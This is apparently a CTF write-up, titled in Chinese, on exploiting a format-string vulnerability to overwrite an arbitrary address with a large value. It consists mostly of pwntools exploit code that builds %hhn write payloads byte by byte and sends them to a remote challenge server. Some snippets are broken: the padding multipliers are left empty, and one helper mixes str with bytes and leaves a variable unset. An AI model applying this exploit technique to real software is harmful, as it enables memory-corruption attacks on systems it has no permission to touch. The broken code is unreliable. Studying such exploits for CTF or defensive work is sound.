Python网络安全格式字符串漏洞任意地址覆盖大数字详解

0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02

payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'

#prev表示前面已输出的字节
#word表示应该输出的字节
#index表示偏移量
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
#offset表示起始偏移量，比如这题为12
#size表示字节长度，x86为4，x64为8
#addr表示要覆盖的地址，这题为0x0804a048
#target表示要覆盖的值，这题为0x02223322
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):#一次传送一个字节
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)

from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12个参数 AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
    if prev < word:
        result = word - prev
        fmtstr = ('%' + str(result) + 'c').encode()
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = ('%' + str(result) + 'c').encode()
    fmtstr += ('%' + str(index) + '$hhn').encode()
    return fmtstr
def fmt_str(offset,size,addr,target):
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()

from pwn import *

p = remote('111.200.241.244', '58464')

payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()